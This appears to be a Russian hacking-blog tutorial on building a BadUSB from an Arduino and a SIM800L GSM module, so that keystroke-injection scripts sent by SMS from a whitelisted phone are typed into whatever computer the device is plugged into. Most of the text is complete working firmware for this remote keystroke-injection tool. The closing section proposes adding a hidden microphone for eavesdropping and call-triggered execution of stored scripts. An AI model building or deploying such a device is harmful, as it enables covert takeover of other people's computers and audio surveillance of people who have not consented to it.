BadUSB Rubber Ducky с управлением через GSM

BadUSB с управлением через модуль GSM

Сегодня я покажу вам, как сделать BadUSB с управлением по мобильной связи.

Еще по теме: Используем смартфон как BadUSB

Програмирование мозгов

В отли­чие от девай­са с модулем Wi-Fi, в нашей вер­сии BadUSB будет прог­рамми­ровать­ся толь­ко модуль Arduino. SIM800L выс­тупит как часть канала переда­чи, которая обра­баты­вает получа­емые от базовой стан­ции сиг­налы GSM. Резуль­татом работы (в зависи­мос­ти от отправ­ленной модулю SIM800L коман­ды) будет тек­сто­вая информа­ция, выведен­ная в COM-порт. Рас­смот­рим основные коман­ды биб­лиоте­ки это­го модуля, с которы­ми будем работать.

Об­щать­ся с модулем SIM800L мож­но через COM-порт с помощью тек­сто­вых команд. Их перечень огро­мен, поэто­му при­веду в качес­тве при­мера толь­ко те, которые будут задей­ство­ваны.

  • AT — нас­трой­ка ско­рос­ти обме­на дан­ными;
  • AT+CMGDA="DEL ALL" — уда­ление всех SMS из памяти сим­ки;
  • AT+CMGDA="DEL READ" — уда­ление всех про­читан­ных SMS;
  • AT+CLIP=1 — вклю­чение AOH;
  • AT+DDET=1 — вклю­чение воз­можнос­ти исполь­зования тональ­ного набора;
  • AT+CMGF=1;&W — вклю­чение тек­сто­вого режима SMS с сох­ранени­ем зна­чения;
  • AT+CMGL="REC UNREAD",1 — зап­рос на чте­ние неп­рочитан­ных SMS;
  • AT+CMGR="index",1 — получе­ние тек­ста SMS по индексу (index);
  • AT+CMGR="index" — отме­тить по индексу SMS как про­читан­ное.

Datasheet по SIM800L

Итак, прис­тупим к соз­данию кода. Логичес­ки его мож­но раз­делить на две час­ти. Пер­вая — обра­бот­ка дан­ных, получа­емых от модуля SIM800L, и «выужи­вание» полез­ной наг­рузки из SMS. Вто­рая — эму­ляция модулем Arduino нажатий кла­виш, отправ­ляемых через USB-порт компь­юте­ру. Осно­ву вто­рой час­ти сос­тавил код, написан­ный Spacehuhn и перера­ботан­ный мной.

Гло­баль­ные перемен­ные и под­клю­чаемые биб­лиоте­ки:

#include 
#include 
#define BAUD_RATE 57200
#define ExternSerial Serial1
SoftwareSerial SIM800(15, 14); // RX, TX — контакты передачи/приема данных на Arduino
String _response    = ""; // Переменная для хранения ответа модуля
long lastUpdate = millis(); // Время последнего обновления
long updatePeriod   = 60000;  // Проверять каждую минуту
String phones = "Твой_номер";  // Белый список телефонов
String bufferStr = "";
String last = "";
int defaultDelay = 0;
bool hasmsg = false; // Флаг наличия сообщений к удалению

Те­перь нас­тро­им ско­рость, с которой модули обме­нива­ются дан­ными, ини­циали­зиру­ем SIM800L и заявим, что наше устрой­ство — это кла­виату­ра.

void setup(){
  Serial.begin(9600);
  SIM800.begin(9600);
  Serial.println("Start!");
    ExternSerial.begin(BAUD_RATE);
      Keyboard.begin();
  sendATCommand("AT", true);
  sendATCommand("AT+CMGDA="DEL ALL"", true);
  sendATCommand("AT+CMGF=1;&W", true);
  lastUpdate = millis();
}

Фун­кцию loop() мож­но раз­бить на две час­ти. Пер­вая (if(lastUpdate + updatePeriod < millis()) — про­вер­ка на наличие неп­рочитан­ных сооб­щений, их обра­бот­ка и отправ­ка извле­чен­ного скрип­та в фун­кцию parseSMS(). Вто­рая (if(SIM800.available())) выводит в монитор СOM-пор­та получен­ные от базовой стан­ции дан­ные, если модем что‑то отпра­вил.

void loop(){
  if(lastUpdate + updatePeriod < millis()){ do{ _response = sendATCommand("AT+CMGL="REC UNREAD",1", true); if(_response.indexOf("+CMGL: ") > -1){
        int msgIndex = _response.substring(_response.indexOf("+CMGL: ") + 7, _response.indexOf(""REC UNREAD"", _response.indexOf("+CMGL: ")) - 1).toInt();
        char i = 0;
        do{
          i++;
          _response = sendATCommand("AT+CMGR=" + (String)msgIndex + ",1", true);
          _response.trim();
          if(_response.endsWith("OK")){
            if(!hasmsg) hasmsg = true;
            sendATCommand("AT+CMGR=" + (String)msgIndex, true);
            sendATCommand("\n", true);
            parseSMS(_response);
            break;
          }else{
            Serial.println ("Error answer");
            sendATCommand("\n", true);
          }
        } while (i < 10); break; } else{ lastUpdate = millis(); if(hasmsg){ sendATCommand("AT+CMGDA="DEL READ"", true); hasmsg = false; } break; } } while (1); } if(SIM800.available()){ _response = waitResponse(); _response.trim(); Serial.println(_response); if(_response.indexOf("+CMTI:") > -1){
      lastUpdate = millis() -  updatePeriod;
    }
  }
  if(Serial.available()){
    SIM800.write(Serial.read());
  };
  //-----------------------------
  if(ExternSerial.available()){
    bufferStr = ExternSerial.readStringUntil("END");
    Serial.println(bufferStr);
  }
  if(bufferStr.length() > 0){
    bufferStr.replace("\r","\n");
    bufferStr.replace("\n\n","\n");
    while(bufferStr.length() > 0){
      int latest_return = bufferStr.indexOf("\n");
      if(latest_return == -1){
        Serial.println("run: "+bufferStr);
        Line(bufferStr);
        bufferStr = "";
      } else{
        Serial.println("run: '"+bufferStr.substring(0, latest_return)+"'");
        Line(bufferStr.substring(0, latest_return));
        last=bufferStr.substring(0, latest_return);
        bufferStr = bufferStr.substring(latest_return + 1);
      }
    }
    bufferStr = "";
    ExternSerial.write(0x99);
    Serial.println("done");
  }
}

Фун­кции parseSMS() вклю­чают в себя обра­бот­ку номера телефо­на отпра­вите­ля и срав­нение его со спис­ком раз­решен­ных, вывод тек­ста сооб­щения и номера в монитор COM-пор­та. Далее сам скрипт из сооб­щения отправ­ляет­ся в фун­кцию Line().

void parseSMS(String msg){
  String msgheader  = "";
  String msgbody    = "";
  String msgphone   = "";
  msg = msg.substring(msg.indexOf("+CMGR: "));
  msgheader = msg.substring(0, msg.indexOf("\r"));
  msgbody = msg.substring(msgheader.length() + 2);
  msgbody = msgbody.substring(0, msgbody.lastIndexOf("OK"));
  msgbody.trim();
  int firstIndex = msgheader.indexOf("","") + 3;
  int secondIndex = msgheader.indexOf("","", firstIndex);
  msgphone = msgheader.substring(firstIndex, secondIndex);
  Serial.println("Phone: " + msgphone);
  Serial.println("Message: " + msgbody);
  if(msgphone.length() > 6 && phones.indexOf(msgphone) > -1){
    Line(msgbody);
  }
  else{
    Serial.println("Unknown phonenumber");
  }
}

Фун­кция Line(String _line) при­нима­ет перемен­ную msgbody, отправ­ленную из фун­кции parseSMS(), и записы­вает в перемен­ную _line. Далее сле­дует обра­бот­ка пре­фик­сов команд: STRING — ; DELAY — пауза меж­ду коман­дами; DEFAULTDELAY — пауза меж­ду коман­дами по умол­чанию; REM — ком­мента­рий; REPLAY — пов­торить. Выраже­ния, которые идут пос­ле STRING, обра­баты­вают­ся фун­кци­ей press(String b).

void Line(String _line){
  int firstSpace = _line.indexOf(" ");
  if(firstSpace == -1) Press(_line);
  else if(_line.substring(0,firstSpace) == "STRING"){
    for(int i=firstSpace+1;i<_line.length();i++) Keyboard.write(_line[i]); } else if(_line.substring(0,firstSpace) == "DELAY"){ int delaytime = _line.substring(firstSpace + 1).toInt(); delay(delaytime); } else if(_line.substring(0,firstSpace) == "DEFAULTDELAY") defaultDelay = _line.substring(firstSpace + 1).toInt(); else if(_line.substring(0,firstSpace) == "REM"){} else if(_line.substring(0,firstSpace) == "REPLAY"){ int replaynum = _line.substring(firstSpace + 1).toInt(); while(replaynum){ Line(last); --replaynum; } } else{ String remain = _line; while(remain.length() > 0){
        int latest_space = remain.indexOf(" ");
        if(latest_space == -1){
          Press(remain);
          remain = "";
        }
        else{
          Press(remain.substring(0, latest_space));
          remain = remain.substring(latest_space + 1);
        }
        delay(5);
      }
  }
  Keyboard.releaseAll();
  delay(defaultDelay);
}

Фун­кция Press (String b) отправ­ляет сиг­налы нажатия кла­виш компь­юте­ру в зависи­мос­ти от содер­жания скрип­та:

void Press(String b){
  if(b.length() == 1) Keyboard.press(char(b[0]));
  else if(b.equals("ENTER")) Keyboard.press(KEY_RETURN);
  else if(b.equals("CTRL")) Keyboard.press(KEY_LEFT_CTRL);
  else if(b.equals("SHIFT")) Keyboard.press(KEY_LEFT_SHIFT);
  else if(b.equals("ALT")) Keyboard.press(KEY_LEFT_ALT);
  else if(b.equals("GUI")) Keyboard.press(KEY_LEFT_GUI);
  else if(b.equals("UP") || b.equals("UPARROW")) Keyboard.press(KEY_UP_ARROW);
  else if(b.equals("DOWN") || b.equals("DOWNARROW")) Keyboard.press(KEY_DOWN_ARROW);
  else if(b.equals("LEFT") || b.equals("LEFTARROW")) Keyboard.press(KEY_LEFT_ARROW);
  else if(b.equals("RIGHT") || b.equals("RIGHTARROW")) Keyboard.press(KEY_RIGHT_ARROW);
  else if(b.equals("DELETE")) Keyboard.press(KEY_DELETE);
  else if(b.equals("PAGEUP")) Keyboard.press(KEY_PAGE_UP);
  else if(b.equals("PAGEDOWN")) Keyboard.press(KEY_PAGE_DOWN);
  else if(b.equals("HOME")) Keyboard.press(KEY_HOME);
  else if(b.equals("ESC")) Keyboard.press(KEY_ESC);
  else if(b.equals("INSERT")) Keyboard.press(KEY_INSERT);
  else if(b.equals("TAB")) Keyboard.press(KEY_TAB);
  else if(b.equals("END")) Keyboard.press(KEY_END);
  else if(b.equals("CAPSLOCK")) Keyboard.press(KEY_CAPS_LOCK);
  else if(b.equals("F1")) Keyboard.press(KEY_F1);
  else if(b.equals("F2")) Keyboard.press(KEY_F2);
  else if(b.equals("F3")) Keyboard.press(KEY_F3);
  else if(b.equals("F4")) Keyboard.press(KEY_F4);
  else if(b.equals("F5")) Keyboard.press(KEY_F5);
  else if(b.equals("F6")) Keyboard.press(KEY_F6);
  else if(b.equals("F7")) Keyboard.press(KEY_F7);
  else if(b.equals("F8")) Keyboard.press(KEY_F8);
  else if(b.equals("F9")) Keyboard.press(KEY_F9);
  else if(b.equals("F10")) Keyboard.press(KEY_F10);
  else if(b.equals("F11")) Keyboard.press(KEY_F11);
  else if(b.equals("F12")) Keyboard.press(KEY_F12);
  else if(b.equals("SPACE")) Keyboard.press(' ');
}

Фун­кция sendATCommand(String cmd, bool waiting) упро­щает вза­имо­дей­ствие с модулем SIM800L. В слу­чае неудач­ной отправ­ки коман­ды модулю цикл пов­торя­ется заново.

String sendATCommand(String cmd, bool waiting){
  String _resp = "";
  Serial.println(cmd);
  SIM800.println(cmd);
  if(waiting){
    _resp = waitResponse();
    if(_resp.startsWith(cmd)){
      _resp = _resp.substring(_resp.indexOf("\r", cmd.length()) + 2);
    }
    Serial.println(_resp);
  }
  return _resp;
}

Фун­кция waitResponse() ожи­дает отве­та и воз­вра­щает получен­ный от модема резуль­тат.

String waitResponse(){
  String _resp = "";
  long _timeout = millis() + 10000;
  while (!SIM800.available() && millis() < _timeout){};
  if(SIM800.available()){
    _resp = SIM800.readString();
  }
  else{
    Serial.println("Timeout...");
  }
  return _resp;
}

Тестирование BADUsb

Итак, нас­тал момент исти­ны! Цеп­ляем устрой­ство к USB-пор­ту компь­юте­ра. Ждем, ког­да модем уста­новит соеди­нение с базовой стан­цией, — об этом сви­детель­ству­ет мига­ющий раз в 3 с крас­ный све­тоди­од. Про­веря­ем наличие обна­ружен­ных устрой­ств в ОС.

Пос­ле это­го отправ­ляем тес­товый скрипт с полез­ной наг­рузкой в тек­сте SMS на SIM-кар­ту модема. Нап­ример, так, как показа­но на сле­дующих рисун­ках.

По­лез­ная наг­рузка, отправ­ленная в SMS
По­лез­ная наг­рузка, отправ­ленная в SMS

Ре­зуль­тат выпол­нения полез­ной наг­рузки

Пол­ный набор команд мож­но най­ти у SpacehuhnTech.

Ка­кая полез­ная наг­рузка будет в SMS, зависит толь­ко от тво­его зна­ния коман­дных строк Linux и Windows, а так­же тво­ей изоб­ретатель­нос­ти.

Что еще можно сделать?

Со­вер­шенс­тву нет пре­дела! Давай рас­смот­рим пару при­меров того, как ты можешь улуч­шить устрой­ство.

У SIM800L есть кон­такты Mic+ и Mic-. К ним мож­но при­паять кон­денса­тор­ный мик­рофон. В коде необ­ходимо будет про­писать допол­нитель­ную про­цеду­ру для обра­бот­ки вхо­дяще­го звон­ка. Ты будешь слы­шать все, что про­исхо­дит рядом с устрой­ством.

Так­же мож­но вклю­чить обра­бот­ку тональ­ного набора, ког­да модем будет авто­мати­чес­ки отве­чать на зво­нок с тво­его телефо­на. Это даст воз­можность выпол­нять скрип­ты, записан­ные тобой заранее в память устрой­ства, при звон­ке с опре­делен­ного телефо­на и нажатий опре­делен­ной циф­ровой ком­бинации во вре­мя сеан­са свя­зи.

Вывод

Что ж, хотелось бы ска­зать, что в таких устрой­ствах нет ничего слож­ного: ком­пании пред­лага­ют уже готовые модули, поз­воля­ющие работать с ними, как с Lego, прог­рамми­рова­ние в боль­шинс­тве слу­чаев сво­дит­ся к исполь­зованию язы­ков высоко­го уров­ня, а комь­юни­ти прак­тичес­ки всег­да делит­ся сво­ими наработ­ками и гай­дами. Нуж­ны толь­ко идея и твоя фан­тазия, и тог­да ты смо­жешь соб­рать что‑то клас­сное.

Еще по теме: BadUSB Rubber Ducky своими руками

ВКонтакте
OK
Telegram
WhatsApp
Viber

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *